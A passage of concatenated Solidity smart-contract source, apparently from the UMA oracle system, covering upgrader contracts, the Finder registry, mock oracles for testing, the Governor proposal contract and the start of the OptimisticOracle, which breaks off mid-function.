import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract that executes a short series of upgrade calls that must be performed atomically as a part of the
* upgrade process for Voting.sol.
* @dev Note: the complete upgrade process requires more than just the transactions in this contract. These are only
* the ones that need to be performed atomically.
*/
contract VotingUpgrader {
// Existing governor is the only one who can initiate the upgrade.
address public governor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public newVoting;
// Address to call setMigrated on the old voting contract.
address public setMigratedAddress;
/**
* @notice Removes an address from the whitelist.
* @param _governor the Governor contract address.
* @param _existingVoting the current/existing Voting contract address.
* @param _newVoting the new Voting deployment address.
* @param _finder the Finder contract address.
* @param _setMigratedAddress the address to set migrated. This address will be able to continue making calls to
* old voting contract (used to claim rewards on others' behalf). Note: this address
* can always be changed by the voters.
*/
constructor(
address _governor,
address _existingVoting,
address _newVoting,
address _finder,
address _setMigratedAddress
) public {
governor = _governor;
existingVoting = Voting(_existingVoting);
newVoting = _newVoting;
finder = Finder(_finder);
setMigratedAddress = _setMigratedAddress;
}
/**
* @notice Performs the atomic portion of the upgrade process.
* @dev This method updates the Voting address in the finder, sets the old voting contract to migrated state, and
* returns ownership of the existing Voting contract and Finder back to the Governor.
*/
function upgrade() external {
require(msg.sender == governor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, newVoting);
// Set the preset "migrated" address to allow this address to claim rewards on voters' behalf.
// This also effectively shuts down the existing voting contract so new votes cannot be triggered.
existingVoting.setMigrated(setMigratedAddress);
// Transfer back ownership of old voting contract and the finder to the governor.
existingVoting.transferOwnership(governor);
finder.transferOwnership(governor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "../interfaces/FinderInterface.sol";
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples of interfaces with implementations that Finder locates are the Oracle and Store interfaces.
*/
contract Finder is FinderInterface, Ownable {
mapping(bytes32 => address) public interfacesImplemented;
event InterfaceImplementationChanged(bytes32 indexed interfaceName, address indexed newImplementationAddress);
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 of the interface name that is either changed or registered.
* @param implementationAddress address of the implementation contract.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress)
external
override
onlyOwner
{
interfacesImplemented[interfaceName] = implementationAddress;
emit InterfaceImplementationChanged(interfaceName, implementationAddress);
}
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the defined interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view override returns (address) {
address implementationAddress = interfacesImplemented[interfaceName];
require(implementationAddress != address(0x0), "Implementation not found");
return implementationAddress;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
import "../oracle/implementation/Finder.sol";
import "../oracle/implementation/Constants.sol";
import "../oracle/implementation/Voting.sol";
/**
* @title A contract to track a whitelist of addresses.
*/
contract Umip3Upgrader {
// Existing governor is the only one who can initiate the upgrade.
address public existingGovernor;
// Existing Voting contract needs to be informed of the address of the new Voting contract.
Voting public existingVoting;
// New governor will be the new owner of the finder.
address public newGovernor;
// Finder contract to push upgrades to.
Finder public finder;
// Addresses to upgrade.
address public voting;
address public identifierWhitelist;
address public store;
address public financialContractsAdmin;
address public registry;
constructor(
address _existingGovernor,
address _existingVoting,
address _finder,
address _voting,
address _identifierWhitelist,
address _store,
address _financialContractsAdmin,
address _registry,
address _newGovernor
) public {
existingGovernor = _existingGovernor;
existingVoting = Voting(_existingVoting);
finder = Finder(_finder);
voting = _voting;
identifierWhitelist = _identifierWhitelist;
store = _store;
financialContractsAdmin = _financialContractsAdmin;
registry = _registry;
newGovernor = _newGovernor;
}
function upgrade() external {
require(msg.sender == existingGovernor, "Upgrade can only be initiated by the existing governor.");
// Change the addresses in the Finder.
finder.changeImplementationAddress(OracleInterfaces.Oracle, voting);
finder.changeImplementationAddress(OracleInterfaces.IdentifierWhitelist, identifierWhitelist);
finder.changeImplementationAddress(OracleInterfaces.Store, store);
finder.changeImplementationAddress(OracleInterfaces.FinancialContractsAdmin, financialContractsAdmin);
finder.changeImplementationAddress(OracleInterfaces.Registry, registry);
// Transfer the ownership of the Finder to the new Governor now that all the addresses have been updated.
finder.transferOwnership(newGovernor);
// Inform the existing Voting contract of the address of the new Voting contract and transfer its
// ownership to the new governor to allow for any future changes to the migrated contract.
existingVoting.setMigrated(voting);
existingVoting.transferOwnership(newGovernor);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracleAncillary is OracleAncillaryInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
bytes ancillaryData;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => mapping(bytes => Price))) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => mapping(bytes => QueryIndex))) private queryIndices;
QueryPoint[] private requestedPrices;
event PriceRequestAdded(address indexed requester, bytes32 indexed identifier, uint256 time, bytes ancillaryData);
event PushedPrice(
address indexed pusher,
bytes32 indexed identifier,
uint256 time,
bytes ancillaryData,
int256 price
);
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
if (!lookup.isAvailable && !queryIndices[identifier][time][ancillaryData].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time][ancillaryData] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time, ancillaryData));
emit PriceRequestAdded(msg.sender, identifier, time, ancillaryData);
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData,
int256 price
) external {
verifiedPrices[identifier][time][ancillaryData] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time][ancillaryData];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time][ancillaryData];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time][queryToCopy.ancillaryData].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
emit PushedPrice(msg.sender, identifier, time, ancillaryData, price);
}
// Checks whether a price has been resolved.
function hasPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(
bytes32 identifier,
uint256 time,
bytes memory ancillaryData
) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time][ancillaryData];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/Testable.sol";
import "../interfaces/OracleInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../implementation/Constants.sol";
// A mock oracle used for testing.
contract MockOracle is OracleInterface, Testable {
// Represents an available price. Have to keep a separate bool to allow for price=0.
struct Price {
bool isAvailable;
int256 price;
// Time the verified price became available.
uint256 verifiedTime;
}
// The two structs below are used in an array and mapping to keep track of prices that have been requested but are
// not yet available.
struct QueryIndex {
bool isValid;
uint256 index;
}
// Represents a (identifier, time) point that has been queried.
struct QueryPoint {
bytes32 identifier;
uint256 time;
}
// Reference to the Finder.
FinderInterface private finder;
// Conceptually we want a (time, identifier) -> price map.
mapping(bytes32 => mapping(uint256 => Price)) private verifiedPrices;
// The mapping and array allow retrieving all the elements in a mapping and finding/deleting elements.
// Can we generalize this data structure?
mapping(bytes32 => mapping(uint256 => QueryIndex)) private queryIndices;
QueryPoint[] private requestedPrices;
constructor(address _finderAddress, address _timerAddress) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
}
// Enqueues a request (if a request isn't already present) for the given (identifier, time) pair.
function requestPrice(bytes32 identifier, uint256 time) public override {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
if (!lookup.isAvailable && !queryIndices[identifier][time].isValid) {
// New query, enqueue it for review.
queryIndices[identifier][time] = QueryIndex(true, requestedPrices.length);
requestedPrices.push(QueryPoint(identifier, time));
}
}
// Pushes the verified price for a requested query.
function pushPrice(
bytes32 identifier,
uint256 time,
int256 price
) external {
verifiedPrices[identifier][time] = Price(true, price, getCurrentTime());
QueryIndex storage queryIndex = queryIndices[identifier][time];
require(queryIndex.isValid, "Can't push prices that haven't been requested");
// Delete from the array. Instead of shifting the queries over, replace the contents of `indexToReplace` with
// the contents of the last index (unless it is the last index).
uint256 indexToReplace = queryIndex.index;
delete queryIndices[identifier][time];
uint256 lastIndex = requestedPrices.length - 1;
if (lastIndex != indexToReplace) {
QueryPoint storage queryToCopy = requestedPrices[lastIndex];
queryIndices[queryToCopy.identifier][queryToCopy.time].index = indexToReplace;
requestedPrices[indexToReplace] = queryToCopy;
}
}
// Checks whether a price has been resolved.
function hasPrice(bytes32 identifier, uint256 time) public view override returns (bool) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
return lookup.isAvailable;
}
// Gets a price that has already been resolved.
function getPrice(bytes32 identifier, uint256 time) public view override returns (int256) {
require(_getIdentifierWhitelist().isIdentifierSupported(identifier));
Price storage lookup = verifiedPrices[identifier][time];
require(lookup.isAvailable);
return lookup.price;
}
// Gets the queries that still need verified prices.
function getPendingQueries() external view returns (QueryPoint[] memory) {
return requestedPrices;
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/implementation/MultiRole.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/Testable.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OracleInterface.sol";
import "./Constants.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
/**
* @title Takes proposals for certain governance actions and allows UMA token holders to vote on them.
*/
contract Governor is MultiRole, Testable {
using SafeMath for uint256;
using Address for address;
/****************************************
* INTERNAL VARIABLES AND STORAGE *
****************************************/
enum Roles {
Owner, // Can set the proposer.
Proposer // Address that can make proposals.
}
struct Transaction {
address to;
uint256 value;
bytes data;
}
struct Proposal {
Transaction[] transactions;
uint256 requestTime;
}
FinderInterface private finder;
Proposal[] public proposals;
/****************************************
* EVENTS *
****************************************/
// Emitted when a new proposal is created.
event NewProposal(uint256 indexed id, Transaction[] transactions);
// Emitted when an existing proposal is executed.
event ProposalExecuted(uint256 indexed id, uint256 transactionIndex);
/**
* @notice Construct the Governor contract.
* @param _finderAddress keeps track of all contracts within the system based on their interfaceName.
* @param _startingId the initial proposal id that the contract will begin incrementing from.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _finderAddress,
uint256 _startingId,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createExclusiveRole(uint256(Roles.Proposer), uint256(Roles.Owner), msg.sender);
// Ensure the startingId is not set unreasonably high to avoid it being set such that new proposals overwrite
// other storage slots in the contract.
uint256 maxStartingId = 10**18;
require(_startingId <= maxStartingId, "Cannot set startingId larger than 10^18");
// This just sets the initial length of the array to the startingId since modifying length directly has been
// disallowed in solidity 0.6.
assembly {
sstore(proposals_slot, _startingId)
}
}
/****************************************
* PROPOSAL ACTIONS *
****************************************/
/**
* @notice Proposes a new governance action. Can only be called by the holder of the Proposer role.
* @param transactions list of transactions that are being proposed.
* @dev You can create the data portion of each transaction by doing the following:
* ```
* const truffleContractInstance = await TruffleContract.deployed()
* const data = truffleContractInstance.methods.methodToCall(arg1, arg2).encodeABI()
* ```
* Note: this method must be public because of a solidity limitation that
* disallows structs arrays to be passed to external functions.
*/
function propose(Transaction[] memory transactions) public onlyRoleHolder(uint256(Roles.Proposer)) {
uint256 id = proposals.length;
uint256 time = getCurrentTime();
// Note: doing all of this array manipulation manually is necessary because directly setting an array of
// structs in storage to an an array of structs in memory is currently not implemented in solidity :/.
// Add a zero-initialized element to the proposals array.
proposals.push();
// Initialize the new proposal.
Proposal storage proposal = proposals[id];
proposal.requestTime = time;
// Initialize the transaction array.
for (uint256 i = 0; i < transactions.length; i++) {
require(transactions[i].to != address(0), "The `to` address cannot be 0x0");
// If the transaction has any data with it the recipient must be a contract, not an EOA.
if (transactions[i].data.length > 0) {
require(transactions[i].to.isContract(), "EOA can't accept tx with data");
}
proposal.transactions.push(transactions[i]);
}
bytes32 identifier = _constructIdentifier(id);
// Request a vote on this proposal in the DVM.
OracleInterface oracle = _getOracle();
IdentifierWhitelistInterface supportedIdentifiers = _getIdentifierWhitelist();
supportedIdentifiers.addSupportedIdentifier(identifier);
oracle.requestPrice(identifier, time);
supportedIdentifiers.removeSupportedIdentifier(identifier);
emit NewProposal(id, transactions);
}
/**
* @notice Executes a proposed governance action that has been approved by voters.
* @dev This can be called by any address. Caller is expected to send enough ETH to execute payable transactions.
* @param id unique id for the executed proposal.
* @param transactionIndex unique transaction index for the executed proposal.
*/
function executeProposal(uint256 id, uint256 transactionIndex) external payable {
Proposal storage proposal = proposals[id];
int256 price = _getOracle().getPrice(_constructIdentifier(id), proposal.requestTime);
Transaction memory transaction = proposal.transactions[transactionIndex];
require(
transactionIndex == 0 || proposal.transactions[transactionIndex.sub(1)].to == address(0),
"Previous tx not yet executed"
);
require(transaction.to != address(0), "Tx already executed");
require(price != 0, "Proposal was rejected");
require(msg.value == transaction.value, "Must send exact amount of ETH");
// Delete the transaction before execution to avoid any potential re-entrancy issues.
delete proposal.transactions[transactionIndex];
require(_executeCall(transaction.to, transaction.value, transaction.data), "Tx execution failed");
emit ProposalExecuted(id, transactionIndex);
}
/****************************************
* GOVERNOR STATE GETTERS *
****************************************/
/**
* @notice Gets the total number of proposals (includes executed and non-executed).
* @return uint256 representing the current number of proposals.
*/
function numProposals() external view returns (uint256) {
return proposals.length;
}
/**
* @notice Gets the proposal data for a particular id.
* @dev after a proposal is executed, its data will be zeroed out, except for the request time.
* @param id uniquely identify the identity of the proposal.
* @return proposal struct containing transactions[] and requestTime.
*/
function getProposal(uint256 id) external view returns (Proposal memory) {
return proposals[id];
}
/****************************************
* PRIVATE GETTERS AND FUNCTIONS *
****************************************/
function _executeCall(
address to,
uint256 value,
bytes memory data
) private returns (bool) {
// Mostly copied from:
// solhint-disable-next-line max-line-length
// https://github.com/gnosis/safe-contracts/blob/59cfdaebcd8b87a0a32f87b50fead092c10d3a05/contracts/base/Executor.sol#L23-L31
// solhint-disable-next-line no-inline-assembly
bool success;
assembly {
let inputData := add(data, 0x20)
let inputDataSize := mload(data)
success := call(gas(), to, value, inputData, inputDataSize, 0, 0)
}
return success;
}
function _getOracle() private view returns (OracleInterface) {
return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle));
}
function _getIdentifierWhitelist() private view returns (IdentifierWhitelistInterface supportedIdentifiers) {
return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist));
}
// Returns a UTF-8 identifier representing a particular admin proposal.
// The identifier is of the form "Admin n", where n is the proposal id provided.
function _constructIdentifier(uint256 id) internal pure returns (bytes32) {
bytes32 bytesId = _uintToUtf8(id);
return _addPrefix(bytesId, "Admin ", 6);
}
// This method converts the integer `v` into a base-10, UTF-8 representation stored in a `bytes32` type.
// If the input cannot be represented by 32 base-10 digits, it returns only the highest 32 digits.
// This method is based off of this code: https://ethereum.stackexchange.com/a/6613/47801.
function _uintToUtf8(uint256 v) internal pure returns (bytes32) {
bytes32 ret;
if (v == 0) {
// Handle 0 case explicitly.
ret = "0";
} else {
// Constants.
uint256 bitsPerByte = 8;
uint256 base = 10; // Note: the output should be base-10. The below implementation will not work for bases > 10.
uint256 utf8NumberOffset = 48;
while (v > 0) {
// Downshift the entire bytes32 to allow the new digit to be added at the "front" of the bytes32, which
// translates to the beginning of the UTF-8 representation.
ret = ret >> bitsPerByte;
// Separate the last digit that remains in v by modding by the base of desired output representation.
uint256 leastSignificantDigit = v % base;
// Digits 0-9 are represented by 48-57 in UTF-8, so an offset must be added to create the character.
bytes32 utf8Digit = bytes32(leastSignificantDigit + utf8NumberOffset);
// The top byte of ret has already been cleared to make room for the new digit.
// Upshift by 31 bytes to put it in position, and OR it with ret to leave the other characters untouched.
ret |= utf8Digit << (31 * bitsPerByte);
// Divide v by the base to remove the digit that was just added.
v /= base;
}
}
return ret;
}
// This method takes two UTF-8 strings represented as bytes32 and outputs one as a prefixed by the other.
// `input` is the UTF-8 that should have the prefix prepended.
// `prefix` is the UTF-8 that should be prepended onto input.
// `prefixLength` is number of UTF-8 characters represented by `prefix`.
// Notes:
// 1. If the resulting UTF-8 is larger than 32 characters, then only the first 32 characters will be represented
// by the bytes32 output.
// 2. If `prefix` has more characters than `prefixLength`, the function will produce an invalid result.
function _addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) internal pure returns (bytes32) {
// Downshift `input` to open space at the "front" of the bytes32
bytes32 shiftedInput = input >> (prefixLength * 8);
return shiftedInput | prefix;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../Governor.sol";
// GovernorTest exposes internal methods in the Governor for testing.
contract GovernorTest is Governor {
constructor(address _timerAddress) public Governor(address(0), 0, _timerAddress) {}
function addPrefix(
bytes32 input,
bytes32 prefix,
uint256 prefixLength
) external pure returns (bytes32) {
return _addPrefix(input, prefix, prefixLength);
}
function uintToUtf8(uint256 v) external pure returns (bytes32 ret) {
return _uintToUtf8(v);
}
function constructIdentifier(uint256 id) external pure returns (bytes32 identifier) {
return _constructIdentifier(id);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../interfaces/StoreInterface.sol";
import "../interfaces/OracleAncillaryInterface.sol";
import "../interfaces/FinderInterface.sol";
import "../interfaces/IdentifierWhitelistInterface.sol";
import "../interfaces/OptimisticOracleInterface.sol";
import "./Constants.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/Lockable.sol";
import "../../common/implementation/FixedPoint.sol";
import "../../common/implementation/AddressWhitelist.sol";
/**
* @title Optimistic Requester.
* @notice Optional interface that requesters can implement to receive callbacks.
* @dev this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
interface OptimisticRequester {
/**
* @notice Callback for proposals.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
*/
function priceProposed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external;
/**
* @notice Callback for disputes.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param refund refund received in the case that refundOnDispute was enabled.
*/
function priceDisputed(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 refund
) external;
/**
* @notice Callback for settlement.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data of the price being requested.
* @param price price that was resolved by the escalation process.
*/
function priceSettled(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 price
) external;
}
/**
* @title Optimistic Oracle.
* @notice Pre-DVM escalation contract that allows faster settlement.
*/
contract OptimisticOracle is OptimisticOracleInterface, Testable, Lockable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
event RequestPrice(
address indexed requester,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
address currency,
uint256 reward,
uint256 finalFee
);
event ProposePrice(
address indexed requester,
address indexed proposer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice,
uint256 expirationTimestamp,
address currency
);
event DisputePrice(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 proposedPrice
);
event Settle(
address indexed requester,
address indexed proposer,
address indexed disputer,
bytes32 identifier,
uint256 timestamp,
bytes ancillaryData,
int256 price,
uint256 payout
);
mapping(bytes32 => Request) public requests;
// Finder to provide addresses for DVM contracts.
FinderInterface public finder;
// Default liveness value for all price requests.
uint256 public defaultLiveness;
/**
* @notice Constructor.
* @param _liveness default liveness applied to each price request.
* @param _finderAddress finder to use to get addresses of DVM contracts.
* @param _timerAddress address of the timer contract. Should be 0x0 in prod.
*/
constructor(
uint256 _liveness,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) {
finder = FinderInterface(_finderAddress);
_validateLiveness(_liveness);
defaultLiveness = _liveness;
}
/**
* @notice Requests a new price.
* @param identifier price identifier being requested.
* @param timestamp timestamp of the price being requested.
* @param ancillaryData ancillary data representing additional args being passed with the price request.
* @param currency ERC20 token used for payment of rewards and fees. Must be approved for use with the DVM.
* @param reward reward offered to a successful proposer. Will be pulled from the caller. Note: this can be 0,
* which could make sense if the contract requests and proposes the value in the same call or
* provides its own reward system.
* @return totalBond default bond (final fee) + final fee that the proposer and disputer will be required to pay.
* This can be changed with a subsequent call to setBond().
*/
function requestPrice(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
IERC20 currency,
uint256 reward
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Invalid, "requestPrice: Invalid");
require(_getIdentifierWhitelist().isIdentifierSupported(identifier), "Unsupported identifier");
require(_getCollateralWhitelist().isOnWhitelist(address(currency)), "Unsupported currency");
require(timestamp <= getCurrentTime(), "Timestamp in future");
require(ancillaryData.length <= ancillaryBytesLimit, "Invalid ancillary data");
uint256 finalFee = _getStore().computeFinalFee(address(currency)).rawValue;
requests[_getId(msg.sender, identifier, timestamp, ancillaryData)] = Request({
proposer: address(0),
disputer: address(0),
currency: currency,
settled: false,
refundOnDispute: false,
proposedPrice: 0,
resolvedPrice: 0,
expirationTime: 0,
reward: reward,
finalFee: finalFee,
bond: finalFee,
customLiveness: 0
});
if (reward > 0) {
currency.safeTransferFrom(msg.sender, address(this), reward);
}
emit RequestPrice(msg.sender, identifier, timestamp, ancillaryData, address(currency), reward, finalFee);
// This function returns the initial proposal bond for this request, which can be customized by calling
// setBond() with the same identifier and timestamp.
return finalFee.mul(2);
}
/**
* @notice Set the proposal bond associated with a price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param bond custom bond amount to set.
* @return totalBond new bond + final fee that the proposer and disputer will be required to pay. This can be
* changed again with a subsequent call to setBond().
*/
function setBond(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 bond
) external override nonReentrant() returns (uint256 totalBond) {
require(getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested, "setBond: Requested");
Request storage request = _getRequest(msg.sender, identifier, timestamp, ancillaryData);
request.bond = bond;
// Total bond is the final fee + the newly set bond.
return bond.add(request.finalFee);
}
/**
* @notice Sets the request to refund the reward if the proposal is disputed. This can help to "hedge" the caller
* in the event of a dispute-caused delay. Note: in the event of a dispute, the winner still receives the other's
* bond, so there is still profit to be made even if the reward is refunded.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
*/
function setRefundOnDispute(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setRefundOnDispute: Requested"
);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).refundOnDispute = true;
}
/**
* @notice Sets a custom liveness value for the request. Liveness is the amount of time a proposal must wait before
* being auto-resolved.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param customLiveness new custom liveness.
*/
function setCustomLiveness(
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
uint256 customLiveness
) external override nonReentrant() {
require(
getState(msg.sender, identifier, timestamp, ancillaryData) == State.Requested,
"setCustomLiveness: Requested"
);
_validateLiveness(customLiveness);
_getRequest(msg.sender, identifier, timestamp, ancillaryData).customLiveness = customLiveness;
}
/**
* @notice Proposes a price value on another address' behalf. Note: this address will receive any rewards that come
* from this proposal. However, any bonds are pulled from the caller.
* @param proposer address to set as the proposer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePriceFor(
address proposer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) public override nonReentrant() returns (uint256 totalBond) {
require(proposer != address(0), "proposer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Requested,
"proposePriceFor: Requested"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.proposer = proposer;
request.proposedPrice = proposedPrice;
// If a custom liveness has been set, use it instead of the default.
request.expirationTime = getCurrentTime().add(
request.customLiveness != 0 ? request.customLiveness : defaultLiveness
);
totalBond = request.bond.add(request.finalFee);
if (totalBond > 0) {
request.currency.safeTransferFrom(msg.sender, address(this), totalBond);
}
emit ProposePrice(
requester,
proposer,
identifier,
timestamp,
ancillaryData,
proposedPrice,
request.expirationTime,
address(request.currency)
);
// Callback.
if (address(requester).isContract())
try OptimisticRequester(requester).priceProposed(identifier, timestamp, ancillaryData) {} catch {}
}
/**
* @notice Proposes a price value for an existing price request.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @param proposedPrice price being proposed.
* @return totalBond the amount that's pulled from the proposer's wallet as a bond. The bond will be returned to
* the proposer once settled if the proposal is correct.
*/
function proposePrice(
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData,
int256 proposedPrice
) external override returns (uint256 totalBond) {
// Note: re-entrancy guard is done in the inner call.
return proposePriceFor(msg.sender, requester, identifier, timestamp, ancillaryData, proposedPrice);
}
/**
* @notice Disputes a price request with an active proposal on another address' behalf. Note: this address will
* receive any rewards that come from this dispute. However, any bonds are pulled from the caller.
* @param disputer address to set as the disputer.
* @param requester sender of the initial price request.
* @param identifier price identifier to identify the existing request.
* @param timestamp timestamp to identify the existing request.
* @param ancillaryData ancillary data of the price being requested.
* @return totalBond the amount that's pulled from the caller's wallet as a bond. The bond will be returned to
* the disputer once settled if the dispute was valid (the proposal was incorrect).
*/
function disputePriceFor(
address disputer,
address requester,
bytes32 identifier,
uint256 timestamp,
bytes memory ancillaryData
) public override nonReentrant() returns (uint256 totalBond) {
require(disputer != address(0), "disputer address must be non 0");
require(
getState(requester, identifier, timestamp, ancillaryData) == State.Proposed,
"disputePriceFor: Proposed"
);
Request storage request = _getRequest(requester, identifier, timestamp, ancillaryData);
request.disputer = disputer;
uint256 finalFee = request.finalFee;
uint256 bond = request.bond;
totalBond = bond.add(finalFee);
if (totalBond > 0) {
